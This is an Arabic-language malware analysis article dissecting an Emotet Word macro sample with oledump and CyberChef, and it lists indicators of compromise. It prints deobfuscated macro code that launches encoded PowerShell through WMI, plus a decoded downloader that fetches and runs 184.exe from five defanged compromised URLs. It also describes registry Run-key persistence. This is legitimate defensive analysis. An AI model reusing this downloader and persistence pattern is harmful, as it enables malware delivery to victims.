
Emotet Malware analysis (تحليل البرمجية الخبيثة Emotet )
Table of Contents
مقدمة
أهلا بكم في هذه المقالة سوف نقوم بتحليل البرمجية الخبيث Emotet
Emotet برمجية خبيثة ظهرت لأول مرة في 2014 والتي تهدف لسرقة المعلومات البنكية للمستخدم والمعلومات الحساسة مثل email, password وغيرها قد تنتقل هذه البرمجية من خلال
- Microsoft Word 97-2003 Document (.DOC)
- Microsoft Word XML Document (.XML)
- Office Open XML Document (.DOCX)
- Portable Document Format (PDF)
في هذه المقالة سوف أقوم بتحليل عينه لهذه البرمجية من نوع Microsoft Word 97-2003 Document (.DOC)
عناصر المقالة
- تحليل الكود
- تحليل أسلوب البرمجية
- IOCs
- الأدوات المستخدمة
التحليل
تحليل الكود
في بداية الأمر عند تحليل أي ملف يفضل أن نأخذ نظرة عامة على الملف نتعرف على نوع الملف تاريخ انشاءة الحجم وغيرة. ويمكن الاستعانة بعدة أدوات مثل:
- file لمعرفة نوع الملف
file FileName
- Exiftool أيضًا لإستخراج Metadata للملف
exiftool FileName
- oledump.py -M " سوف نقوم بإستخدام هذه الأداة كثيرًا أثناء التحليل لكن في هذه الأثناء نحتاج فقط استخراج Metadata من الملف عن طريق خيار M- "
oledump.py -M FileName
نلاحظ بأن نوع الملف وإصدارة Microsoft Word 97-2003 والذي يعد OLE documents[1] ويسمى أيضًا Composite Document File V2 Document وهي نوع من الملفات تسمح بتخزين الملفات و الكائنات بملف واحد ب الديسك.
بعد تحديد نوع الملف يمكن تحديد الأداوات التي سيتم الأستعانة بها لتحيل الملف وهنا سوف أقوم بإختيار
- oledump.py
بداية سوف أستفيد من هذه الأداة لمعرف ما إذا كان الملف يحتوي على VBA macro أو لا، والذي يعد سلسلة من الأوامرتكتب بلغة Visual Basic for Applications يمكن استخدامها لتنفيذ عدة أوامر أو لأتمتة مهمة متكررة.
يتم إستخدام macro في البرمجيات الخبيثة لتنفيذ عدة أوامر في ملفات Microsoft Office
(.doc .docx .xml .xlsx) والذي تسمح لكاتب البرمجية الخبيثة أن يقوم بكتابة عدة أوامر تعمل أثناء تشغيل هذا الملف.
بكتابة الأمر التاليoledump.py FileName
والذي سيقوم بتحليل محتويات الملف كاملة وسيقوم بإستخراج streams (الملفات داخل المستند).
نلاحظ بالنتيجة وجود حرف M و m.
والذي يعنيان وجود macro داخل المستند تحديدًا بهذه streams.
m: يعني احتواء هذا stream على macro ولكن الحرف الصغير يعني احتواء هذا stream على بيانات (Attributes) حول ملف VBA class .
M: الحرف الكبير يعني إحتواء stream على الكود الفعلي VBA code.
في مثالنا هذا نلاحظ وجود macro ب 10 ملفات وهي :
8,9,10,11,12,19,20,21,22,23
ونلاحظ أيضًا وجود ال VBA code الفعلي في الملفين 11 و 22
سوف أقوم بإستخراج VBA code وحفظة بملف خارجي لتحليل بشكل أدق بإستخدام الأمر
oledump.py -s 11 -v emotetSarahAljaber.doc >> stream11.txt
oledump.py -s 22 -v emotetSarahAljaber.doc >> stream22.txt
ويمكن أيضا أن نقوم بكتابة الأمر لإستخراج كافة الملفات steams
a for alloledump.py -s a -v emotetSarahAljaber.doc >> Attributes.txt
بعد استخراجنا للكود يمكن البدء الان بتحليلة.
سوف نقوم بالبدء ب ملف 11
عند المرور ب الكود سوف نلاحظ استخدام تقنية obfuscation والتي تهدف لجعل قراءة الكود أصعب على المحلل من خلال تشفيرها أو التلاعب ب الحروف والمسميات أيضًا وجود عدة متغيرات لا معنى لها وجودها فقط من أجل تشتيت المحلل.
بداية بالصورة أدناة نلاحظ وجود autopen التي تعني باختصار تشغيل macro لحظة تشغيل المستند.
بالمرور لبقية الكود سوف نلاحظ أنه تم استخدام obfuscation للتضليل نقوم بالمرور ب الكود للحصول على قيم ذات معنى هنا نجد أولًا
FHWTtiz = hUV5Au + "winmgmts:Wi" + wUUrjZvV + "n32_Pro cessstartup" + FwM5if7o
FHWTtiz هو المتغير والذي يحتوي على hUV5Au + “winmgmts:Wi” + wUUrjZvV + “n32_Pro cessstartup” + FwM5if7o
عند البحث ب الكود نجد أن hUV5Au و wUUrjZvV و FwM5if7o متغيرات لا قيمة لها بما يعني أنها تساوي 0 أو لا شيء.
فتصبح قيمة FHWTtiz الحقيقةFHWTtiz = "winmgmts:Wi" + "n32_Pro cessstartup"
مما يعنيFHWTtiz = "winmgmts:Win32_Processstartup"
Win32_ProcessStartup [2] والتي تعد أحد محتويات Windows Management Instrumentation والتي تعني ب تشغيل أحد برامج Windows المعروفة.
بالمرور ببقية الكود نلاحظ أيضًا وجودSet apVH2Z = CreateObject(FHWTtiz)
دالة CreateObject أحد دوال VBA وفي هذا المثال تأخذ قيمة FHWTtiz والذي قمنا بتحليلها مسبقا والتي تساوي winmgmts:Win32_Processstartup
عند المرور ببقية الكود بملف 11 لن أجد قيم ذات معنى لذلك سوف أقوم بالإنقال لملف الاخر 22
تماما مثل ما وجدنا بالملف الأول استخدام obfuscation ووجود عدة متغيرات لا قيمة لها للتظليل.
عند المرور بالملف سوف نلاحظ وجود متغير FHWTtiz والذي يساوي
FHWTtiz = R7LMPC + "winmgmts:Wi" + CMSLAJ + "n32_Process" + j91NATK
عند البحث عن قيم R7LMPC و CMSLAJ و j91NATK سوف نجد أنها تساوي صفر أي لاشيء لتصبح القيمة الحقيقة ل FHWTtizFHWTtiz = "winmgmts:Wi" + "n32_Process"
مما يعني FHWTtiz = "winmgmts:Win32_Process"
winmgmts:Win32_Process والتي تعد أحد محتويات Windows Management Instrumentation والتي تعني ب تمثيل أحد برامج Windows المعروفة.
مرورا بالكود سوف نجد
CreateObject(FHWTtiz).Create# icqLD3A + "pow" + Q_8mQM + ThisDocument.P1Ylfc5 + vKjPJu + ThisDocument.XMW15zI + ThisDocument.FFuiAR + q49dRBv8, fi4_VSc, apVH2Z, qkAsnn1Y
كما ذكرت دالة CreateObject أحد دوال VBA وفي هذا المثال تأخذ قيمة FHWTtiz والذي قمنا بتحليلها بالملف الثاني 22 والتي تساوي winmgmts:Win32_Process
عند النظر ب المحتوى سوف نجد عدة متغيرات لا قيمة لها وهي
icqLD3A و Q_8mQM و vKjPJu و q49dRBv8, fi4_VSc, apVH2Z, qkAsnn1Y
لتصبح القيمة الحقيقة هناCreateObject(FHWTtiz).Create "pow" + ThisDocument.P1Ylfc5 + ThisDocument.XMW15zI + ThisDocument.FFuiAR
دالة create أحد دوال VBA والتي تقوم بأخذ البيانات التالية:
- CommandLine
- CurrentDirectory
- ProcessStartupInformation
- ProcessId
عند البحث عن قيم:
- ThisDocument.P1Ylfc5
- ThisDocument.FFuiAR
- ThisDocument.XMW15
لن نجد لها قيمة فعليه ب الملف 22 لكن نلاحظ ان ThisDocument قد يشير الى قيم بنفس المستند (MSForms)[3] إما أن تكون: - Collections
- controls
- objects
- Dialog boxes
- Events
- Examples
- Methods
- Properties
لذلك سوف نعود ل بقية الملفات stream الموجودة بالمستند لمعرفة القيمة الحقيقة لهذه المتغيرات.
عند المرور بكافة الملفات سوف نجد أن ملف 9 يحتوي على تعريف للقيم التي نبحث عنها.
================================================
- Attribute VB_Control = “FFuiAR, 0, 0, MSForms, ComboBox”
- Attribute VB_Control = “P1Ylfc5, 1, 1, MSForms, ComboBox”
- Attribute VB_Control = “XMW15zI, 2, 2, MSForms, ComboBox”
================================================
هنا نلاحظ وجود MSForms للقيم الثلاثة FFuiAR و P1Ylfc5 و XMW15zI تحتوي على controls و في مثالنا هنا أحتوي على ComboBox والذي يعد أحد MSForms controls
لهذه ال controls مجموعة من القيم قد لا يتعرف عليها oledump أو الأدوات الأخرى على أنها تحتوي على macro لذلك قد تبدوا خاليه/خاوية.
لكن المستند يقوم بحفظ هذه البيانات فيما يسمى ObjectPool والتي تحتوي على قيم هذه المتغيرات.
عند كتابة الأمر
oledump.py emotetSarahAljaber.doc
سوف نلاحظ ب المخرجات وجود هذه ObjectPool تشير كل مجموعة منها الى متغير من المتغيرات الثالثة FFuiAR و P1Ylfc5 و XMW15zI
عند استخراج الأسماء بكتابة الأمر:
oledump.py -s #StreamNumber emotetSarahAljaber.doc
StreamNumber نقوم بوضع رقم الملف الذي يشير للأسم في حالتنا التاليه ملف 25 و 29 و 33
لنجد أن:
- 1620852731 = FFuiAR
- 1620852732 = P1Ylfc5
- 1620852733 = XMW15zI
عند استخراج بقية القيم وتحديدًا محتوى هذه المتغيرات نلاحظ اكتمال معنى الأمر السابق
CreateObject(FHWTtiz).Create "pow" + ThisDocument.P1Ylfc5 + ThisDocument.XMW15zI + ThisDocument.FFuiAR
لتصبح
CreateObject(FHWTtiz).Create "pow" + "ersh" + "ell -nop -e "+ "obfuscated powershell code "
القيمة النهاية للأمر:
CreateObject(winmgmts:Win32_Process).Create " powershell -nop -e " + "obfuscated powershell code "
في هذه الأثناء سوف نقوم بإستخراج قيمة كود powershell لمعرفة محتواه والأوامر التي يقوم بها.
بالخطوات التالية:
إستخراج الكود في مثالنا هذا الملف ب base64
فك base64 بالاستعانة ب CyberChef
ترتيب الكود واستخراج القيم الصحية لكل متغير
- بداية نلاحظ متغير
$tZTLXzZq=$env:userprofile+'\'+$d1mU0azd+'.exe';
نقوم بترتيبه ليصبح
$tZTLXzZq=$env:userprofile\'+$d1mU0azd+'.exe';
عند البحث عن متغير $d1mU0azd نجد قيمته تساوي
184
فتصبح القيمة النهاية للمتغير tZTLXzZq$tZTLXzZq=$env:userprofile\184.exe
- بعد ذلك نقوم بفك المتغير التالي pTl4Jz
$pTl4Jz=.('ne' +' w-object' ) nET.W ' EbC' Li' Ent;
ليصبح
$pTl4Jz=.('new-object') net.webclient;
- بعد ذلك متغير NUzAMAR والذي نلاحظ انه يحتوي على سلسة من القيم domains
$NUzAMAR='hxxp://agavea.com.br/font/tMfyxzMEnQ/@hxxp://news-week.ru/2018/wvq6nzd_kywgcjzgi-273/@hxxp://ab.fitzio.com/cgi-bin/opiFtEAsf/@hxxp://palmbeachresortcebu.com/wp-content/uploads/t9smfqj3_blm4xo-69526194/@hxxp://thingsmadeforyouapps.com/wp-admin/VpVOXxek/'.SPLit('@');
وفي نهاية المتغير مناداة للدالة SPLit تفصل بين القيم @
لتصبح القيم النهاية للمتغير NUzAMAR
$NUzAMAR='hxxp://agavea.com.br/font/tMfyxzMEnQ/ hxxp://news-week.ru/2018/wvq6nzd_kywgcjzgi-273/ hxxp://ab.fitzio.com/cgi-bin/opiFtEAsf/ hxxp://palmbeachresortcebu.com/wp-content/uploads/t9smfqj3_blm4xo-69526194/ hxxp://thingsmadeforyouapps.com/wp-admin/VpVOXxek/';
- ننتقل للمتغير التالي نلاحظ foreach تقوم في كل مرة بمناداة قيمة من قيم السلسة NUzAMAR
foreach($j5YzrQKQ in $NUzAMAR)
NUzAMAR قيم domains التي قمنا باستخراجها بالفقرة السابقة.
$pTl4Jz.DOwNlOADfiLe($j5YzrQKQ, $tZTLXzZq); $SHHj3v='Mpi_Cz1s'; If ((.('G'+'et'+'-Item') $tZTLXzZq).LenGTh -ge 31421) {[Diagnostics.Process]::sTarT($tZTLXzZq);
1- قيمة pTl4Jz إستخرجناها سابقا والتي تساوي ('new-object') net.webclient;
2- قيمة tZTLXzZq إستخرجناها سابقا والتي تساوي env:userprofile\184.exe
3- If ((.('G'+'et'+'-Item') $tZTLXzZq).LenGTh -ge 31421)
تساوي
If (('Get-Item') $env:userprofile\184.exe).LenGTh -ge 31421)
4- {[Diagnostics.Process]::sTarT($tZTLXzZq);
تساوي
If ((.('Get-Item') $env:userprofile\184.exe).LenGTh -ge 31421)
5- {[Diagnostics.Process]::sTarT($tZTLXzZq);
تساوي
{[Diagnostics.Process]::start($env:userprofile\184.exe);
لتصبح القيمة النهاية للكود بهذا الشكل والذي يعني أن عند تشغيلpowersheel سوف يقوم بالاستعانة ب Net.WebClient لزيارة هذه عناوين URL المذكورة بالكود من ثم تنزيل ملف 184.exe
لجهاز الضحية من ثم التأكد من حجم الملف في حال كان أكبر من أو يساوي 31421 فسيقوم بتشغيلة بجهاز الضحية.
تحليل أسلوب الملف
لتحليل أسلوب الملف نلاحظ بالبداية من خلال تحليلنا السابق:
أولًا تشغيل مستند word (WINWORD.EXE)
ثانيًا تشغيل macro والذي قام بمناداة wmi لتشغيل powershell
من ثم من خلال الإستعانة ب Net.WebClient قام بتنزيل ملف
184
قمت بالإستعانة ب any.run لمعرفة ماذا سيحصل بعد تحميل ملف ويمكن الإستعانة بأي sandbox لهذا الغرض.
بداية نلاحظ أنه تم تنزل الملف ب المسار
"C:\Users\admin\184.exe"
ثم إنشاء مجلد
sansidaho
في نفس المسار وتنزيل ملف
sansidaho.exe
والذي بدورة سيقوم أولا بتغير قيم registry تحديدا
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
والتي تهدف لتشغيل
sansidaho.exe
في كل مره يقوم فيها المستخدم بتسجيل الدخول للجهاز الكمبيوتر
من ثم الإتصال ب c2c للتجسس وسرقة معلومات الضحية
أيضا سوف يقوم بتنزيل ملف oDccNyQ7awhQkLyrC.exe
والذي بدورة يعيد تنزيل ملف sansidaho.exe
IOCs
بعد أن أخذنا نظرة سريعة على بتحليل البرمجية الخبيثة سوف نستخرج هنا IOCs منها:
command and control
من خلال تشغيل emotet سوف نلاحظ أن هناك تواصل بين جهاز الضحية وجهاز المخترق والذي يمكن المخترق من أخذ بيانات الضحية ونرى في الصورة أدناة أنه تم إرسال البيانات على هئية cookie مشفرة ل جهاز المخترق c2 server
جميع قيم IOCs المستخرجة
الأدوات المستخدمة
1- file
2- Exiftool
3- oledump.py
المصادر:
[1] https://docs.microsoft.com/en-us/cpp/mfc/ole-background?view=msvc-160
[2] https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-start-page
في الختام قرأة وتعلم ممتع و ل السؤال والاستفسار يمكنكم إيجادي بتويتر على الحساب @s4o_o
جميع الحقوق محفوظة